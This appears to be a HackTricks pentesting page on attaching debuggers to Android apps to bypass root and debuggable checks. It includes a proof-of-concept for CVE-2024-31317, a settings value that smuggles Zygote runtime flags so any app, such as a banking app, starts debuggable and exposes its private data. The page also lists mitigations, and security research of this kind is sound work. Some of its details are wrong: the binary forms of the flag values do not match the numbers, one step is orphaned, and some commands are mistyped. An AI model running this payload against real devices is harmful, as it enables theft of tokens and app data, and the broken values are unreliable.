# Exploiting a debuggeable application {{#include ../../banners/hacktricks-training.md}} # **Bypassing root and debuggeable checks** This section of the post is a summary from the post [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) ## Steps to Make an Android App Debuggable and Bypass Checks ### **Making the App Debuggable** Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 1. **Decompile the APK:** - Utilize the APK-GUI tool for decompiling the APK. - In the _android-manifest_ file, insert `android:debuggable="true"` to enable debugging mode. - Recompile, sign, and zipalign the modified application. 2. **Install the Modified Application:** - Use the command: `adb install `. 3. **Retrieve the Package Name:** - Execute `adb shell pm list packages –3` to list third-party applications and find the package name. 4. **Set the App to Await Debugger Connection:** - Command: `adb shell am setup-debug-app –w `. - **Note:** This command must be run each time before starting the application to ensure it waits for the debugger. - For persistence, use `adb shell am setup-debug-app –w ––persistent `. - To remove all flags, use `adb shell am clear-debug-app `. 5. **Prepare for Debugging in Android Studio:** - Navigate in Android Studio to _File -> Open Profile or APK_. - Open the recompiled APK. 6. **Set Breakpoints in Key Java Files:** - Place breakpoints in `MainActivity.java` (specifically in the `onCreate` method), `b.java`, and `ContextWrapper.java`. ### **Bypassing Checks** The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks. For the debuggable check: 1. **Modify Flag Settings:** - In the debugger console's variable section, navigate to: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. - **Note:** The binary representation of `flags = 814267974` is `11000011100111011110`, indicating that the "Flag_debuggable" is active. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application's behavior. Step 2 involves changing a flag value to 814267972, which is represented in binary as 110000101101000000100010100. # **Exploiting a Vulnerability** A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays "Crack Me". The aim is to alter the message from "Try Again" to "Hacked" at runtime, without modifying the source code. ## **Checking for Vulnerability** - The application was decompiled using `apktool` to access the `AndroidManifest.xml` file. - The presence of `android_debuggable="true"` in the AndroidManifest.xml indicates the application is debuggable and susceptible to exploitation. - It's worth noting that `apktool` is employed solely to check the debuggable status without altering any code. ## **Preparing the Setup** - The process involved initiating an emulator, installing the vulnerable application, and using `adb jdwp` to identify Dalvik VM ports that are listening. - The JDWP (Java Debug Wire Protocol) allows debugging of an application running in a VM by exposing a unique port. - Port forwarding was necessary for remote debugging, followed by attaching JDB to the target application. ## **Injecting Code at Runtime** - The exploitation was carried out by setting breakpoints and controlling the application flow. - Commands like `classes` and `methods ` were used to uncover the application’s structure. - A breakpoint was set at the `onClick` method, and its execution was controlled. - The `locals`, `next`, and `set` commands were utilized to inspect and modify local variables, particularly changing the "Try Again" message to "Hacked". - The modified code was executed using the `run` command, successfully altering the application’s output in real-time. This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context. --- # 2024 – Turning **any** application into a debuggable process (CVE-2024-31317) Even if the target APK is _not_ shipped with the `android:debuggable` flag, recent research showed that it is possible to force **arbitrary applications** to start with the `DEBUG_ENABLE_JDWP` runtime flag by abusing the way Zygote parses command-line arguments. * **Vulnerability:** Improper validation of `--runtime-flags` supplied through Zygote’s command socket allows an attacker that can reach `system_server` (for example via the privileged `adb` shell which owns the `WRITE_SECURE_SETTINGS` permission) to inject extra parameters. When the crafted command is replayed by `system_server`, the victim app is forked as _debuggable_ and with a JDWP thread listening. The issue is tracked as **CVE-2024-31317** and was fixed in the June 2024 Android Security Bulletin. * **Impact:** Full read/write access to the private data directory of **any** app (including privileged ones such as `com.android.settings`), token theft, MDM bypass, and in many cases a direct path to privilege-escalation by abusing exported IPC endpoints of the now-debuggable process. * **Affected versions:** Android 9 through 14 prior to the June 2024 patch level. ## Quick PoC ```bash # Requires: adb shell (device must be <2024-06-01 patch-level) # 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:" # 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP adb shell monkey -p com.victim.bank 1 # 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio adb jdwp # obtain the PID adb forward tcp:8700 jdwp: jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700 ``` > The crafted value in step 1 breaks the parser out of the “fast-path” and appends a second synthetic command where `--runtime-flags=0x104` (`DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE`) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible **without modifying the APK or the device boot image**. ## Detection & Mitigation * Patch to **2024-06-01** (or later) security level – Google hardened `ZygoteCommandBuffer` so that subsequent commands cannot be smuggled in this way. * Restrict `WRITE_SECURE_SETTINGS` / `shell` access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps. * On EMM/MDM-managed fleets, enforce `ro.debuggable=0` and deny shell via `adb disable-verifier`. --- ## References - [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) - [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications) - [https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html](https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html) - [https://blog.flanker017.me/cve-2024-31317/](https://blog.flanker017.me/cve-2024-31317/) {{#include ../../banners/hacktricks-training.md}}